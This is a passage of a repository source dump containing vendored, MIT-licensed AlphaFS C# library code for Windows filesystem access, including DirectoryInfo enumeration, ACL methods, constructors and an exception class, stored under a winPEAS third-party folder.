IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Returns an enumerable collection of file information in the current directory. /// An enumerable collection of the files in the current directory. /// /// /// /// /// /// [SecurityCritical] public IEnumerable EnumerateFiles() { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath); } /// Returns an enumerable collection of file information that matches a search pattern. /// An enumerable collection of files that matches . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public IEnumerable EnumerateFiles(string searchPattern) { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath); } /// Returns an enumerable collection of file information that matches a specified search pattern and search subdirectory option. /// An enumerable collection of files that matches and . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public IEnumerable EnumerateFiles(string searchPattern, SearchOption searchOption) { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Returns an enumerable collection of file information in the current directory. /// An enumerable collection of the files in the current directory. /// /// /// /// /// /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public IEnumerable EnumerateFiles(DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath); } /// [AlphaFS] Returns an enumerable collection of file information that matches a search pattern. /// An enumerable collection of files that matches . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public IEnumerable EnumerateFiles(string searchPattern, DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Gets a object that encapsulates the access control list (ACL) entries for the directory described by the current DirectoryInfo object. /// A object that encapsulates the access control rules for the directory. [SecurityCritical] public DirectorySecurity GetAccessControl() { return File.GetAccessControlCore(true, LongFullName, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.LongFullPath); } /// Gets a object that encapsulates the specified type of access control list (ACL) entries for the directory described by the current object. /// One of the values that specifies the type of access control list (ACL) information to receive. /// A object that encapsulates the access control rules for the file described by the path parameter. [SecurityCritical] public DirectorySecurity GetAccessControl(AccessControlSections includeSections) { return File.GetAccessControlCore(true, LongFullName, includeSections, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetDirectories.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Returns the subdirectories of the current directory. /// An array of objects. /// If there are no subdirectories, this method returns an empty array. This method is not recursive. /// /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// [SecurityCritical] public DirectoryInfo[] GetDirectories() { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath).ToArray(); } /// Returns an array of directories in the current matching the given search criteria. /// An array of type matching . /// /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public DirectoryInfo[] GetDirectories(string searchPattern) { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath).ToArray(); } /// Returns an array of directories in the current matching the given search criteria and using a value to determine whether to search subdirectories. /// An array of type matching . /// If there are no subdirectories, or no subdirectories match the searchPattern parameter, this method returns an empty array. /// /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public DirectoryInfo[] GetDirectories(string searchPattern, SearchOption searchOption) { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath).ToArray(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetFileIdInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Gets the unique identifier for the directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public FileIdInfo GetFileIdInfo() { return File.GetFileIdInfoCore(Transaction, true, LongFullName, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetFileSystemInfos.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Returns an array of strongly typed entries representing all the files and subdirectories in a directory. /// An array of strongly typed entries. /// /// For subdirectories, the objects returned by this method can be cast to the derived class . /// Use the value returned by the property to determine whether the represents a file or a directory. /// /// /// If there are no files or directories in the DirectoryInfo, this method returns an empty array. This method is not recursive. /// For subdirectories, the FileSystemInfo objects returned by this method can be cast to the derived class DirectoryInfo. /// Use the FileAttributes value returned by the Attributes property to determine whether the FileSystemInfo represents a file or a directory. /// /// /// /// /// /// /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public FileSystemInfo[] GetFileSystemInfos() { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath).ToArray(); } /// Retrieves an array of strongly typed objects representing the files and subdirectories that match the specified search criteria. /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// An array of strongly typed entries. /// /// For subdirectories, the objects returned by this method can be cast to the derived class . /// Use the value returned by the property to determine whether the represents a file or a directory. /// /// /// If there are no files or directories in the DirectoryInfo, this method returns an empty array. This method is not recursive. /// For subdirectories, the FileSystemInfo objects returned by this method can be cast to the derived class DirectoryInfo. /// Use the FileAttributes value returned by the Attributes property to determine whether the FileSystemInfo represents a file or a directory. /// /// /// /// /// /// /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public FileSystemInfo[] GetFileSystemInfos(string searchPattern) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath).ToArray(); } /// Retrieves an array of strongly typed objects representing the files and subdirectories that match the specified search criteria. /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// An array of strongly typed entries. /// /// For subdirectories, the objects returned by this method can be cast to the derived class . /// Use the value returned by the property to determine whether the represents a file or a directory. /// /// /// If there are no files or directories in the DirectoryInfo, this method returns an empty array. This method is not recursive. /// For subdirectories, the FileSystemInfo objects returned by this method can be cast to the derived class DirectoryInfo. /// Use the FileAttributes value returned by the Attributes property to determine whether the FileSystemInfo represents a file or a directory. /// /// /// /// /// /// /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public FileSystemInfo[] GetFileSystemInfos(string searchPattern, SearchOption searchOption) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath).ToArray(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetFiles.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Returns a file list from the current directory. /// An array of type . /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// If there are no files in the , this method returns an empty array. /// /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// [SecurityCritical] public FileInfo[] GetFiles() { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath).ToArray(); } /// Returns a file list from the current directory matching the given search pattern. /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// An array of type . /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// If there are no files in the , this method returns an empty array. /// /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// [SecurityCritical] public FileInfo[] GetFiles(string searchPattern) { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath).ToArray(); } /// Returns a file list from the current directory matching the given search pattern and using a value to determine whether to search subdirectories. /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// An array of type . /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// If there are no files in the , this method returns an empty array. /// /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// [SecurityCritical] public FileInfo[] GetFiles(string searchPattern, SearchOption searchOption) { return Directory.EnumerateFileSystemEntryInfosCore(false, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath).ToArray(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.RefreshEntryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Refreshes the state of the EntryInfo property. [SecurityCritical] public new void RefreshEntryInfo() { base.RefreshEntryInfo(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.SetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Applies access control list (ACL) entries described by a object to the directory described by the current DirectoryInfo object. /// A object that describes an ACL entry to apply to the directory described by the path parameter. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public void SetAccessControl(DirectorySecurity directorySecurity) { File.SetAccessControlCore(LongFullName, null, directorySecurity, AccessControlSections.All, PathFormat.LongFullPath); } /// Applies access control list (ACL) entries described by a object to the directory described by the current DirectoryInfo object. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public void SetAccessControl(DirectorySecurity directorySecurity, AccessControlSections includeSections) { File.SetAccessControlCore(LongFullName, null, directorySecurity, includeSections, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { /// Exposes instance methods for creating, moving, and enumerating through directories and subdirectories. This class cannot be inherited. [Serializable] public sealed partial class DirectoryInfo : FileSystemInfo { #region Constructors #region .NET /// Initializes a new instance of the class on the specified path. /// The path on which to create the . /// /// This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations. /// The path parameter can be a file name, including a file on a Universal Naming Convention (UNC) share. /// public DirectoryInfo(string path) : this(null, path, PathFormat.RelativePath) { } #endregion // .NET /// [AlphaFS] Initializes a new instance of the class on the specified path. /// The path on which to create the . /// Indicates the format of the path parameter(s). /// This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations. public DirectoryInfo(string path, PathFormat pathFormat) : this(null, path, pathFormat) { } /// [AlphaFS] Special internal implementation. /// The transaction. /// The full path on which to create the . /// Not used. /// Not used. /// This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations. [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "junk1")] [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "junk2")] private DirectoryInfo(KernelTransaction transaction, string fullPath, bool junk1, bool junk2) { IsDirectory = true; Transaction = transaction; LongFullName = Path.GetLongPathCore(fullPath, GetFullPathOptions.None); OriginalPath = Path.GetFileName(fullPath, true); FullPath = fullPath; DisplayPath = OriginalPath.Length != 2 || OriginalPath[1] != Path.VolumeSeparatorChar ? OriginalPath : Path.CurrentDirectoryPrefix; } #region Transactional /// [AlphaFS] Initializes a new instance of the class on the specified path. /// The transaction. /// The path on which to create the . /// This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations. public DirectoryInfo(KernelTransaction transaction, string path) : this(transaction, path, PathFormat.RelativePath) { } /// [AlphaFS] Initializes a new instance of the class on the specified path. /// The transaction. /// The path on which to create the . /// Indicates the format of the path parameter(s). /// This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations. public DirectoryInfo(KernelTransaction transaction, string path, PathFormat pathFormat) { InitializeCore(transaction, true, path, pathFormat); } #endregion // Transactional #endregion // Constructors #region Properties #region .NET /// Gets a value indicating whether the directory exists. /// /// The property returns false if any error occurs while trying to determine if the /// specified directory exists. /// This can occur in situations that raise exceptions such as passing a directory name with invalid characters or too many /// characters, /// a failing or missing disk, or if the caller does not have permission to read the directory. /// /// true if the directory exists; otherwise, false. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] public override bool Exists { [SecurityCritical] get { try { if (DataInitialised == -1) Refresh(); return DataInitialised == 0 && IsDirectory; } catch { return false; } } } /// Gets the name of this instance. /// The directory name. /// /// This Name property returns only the name of the directory, such as "Bin". /// To get the full path, such as "c:\public\Bin", use the FullName property. /// public override string Name { get { return FullPath.Length > 3 ? Path.GetFileName(Path.RemoveTrailingDirectorySeparator(FullPath), true) : FullPath; } } /// Gets the parent directory of a specified subdirectory. /// The parent directory, or null if the path is null or if the file path denotes a root (such as "\", "C:", or * "\\server\share"). public DirectoryInfo Parent { [SecurityCritical] get { var path = FullPath; if (path.Length > 3) path = Path.RemoveTrailingDirectorySeparator(FullPath); var dirName = Path.GetDirectoryName(path, false); return null != dirName ? new DirectoryInfo(Transaction, dirName, true, true) : null; } } /// Gets the root portion of the directory. /// An object that represents the root of the directory. public DirectoryInfo Root { [SecurityCritical] get { return new DirectoryInfo(Transaction, Path.GetPathRoot(FullPath, false), PathFormat.RelativePath); } } #endregion // .NET #endregion // Properties #region Methods /// Returns the original path that was passed by the user. /// A string that represents this object. public override string ToString() { return DisplayPath; } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/AlreadyExistsException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The exception that is thrown when an attempt to create a file or directory that already exists was made. /// Both ERROR_ALREADY_EXISTS and ERROR_FILE_EXISTS can cause this Exception. /// [Serializable] public class AlreadyExistsException : System.IO.IOException { private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_ALREADY_EXISTS); private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_ALREADY_EXISTS, new Win32Exception((int) Win32Errors.ERROR_ALREADY_EXISTS).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public AlreadyExistsException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// Both ERROR_ALREADY_EXISTS and ERROR_FILE_EXISTS can cause this Exception. /// /// The custom error message.. public AlreadyExistsException(string message) : base(message, ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file system object. /// Always set to true when using this constructor. [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "isPath")] public AlreadyExistsException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file system object. /// The inner exception. public AlreadyExistsException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected AlreadyExistsException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/DeviceNotReadyException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights 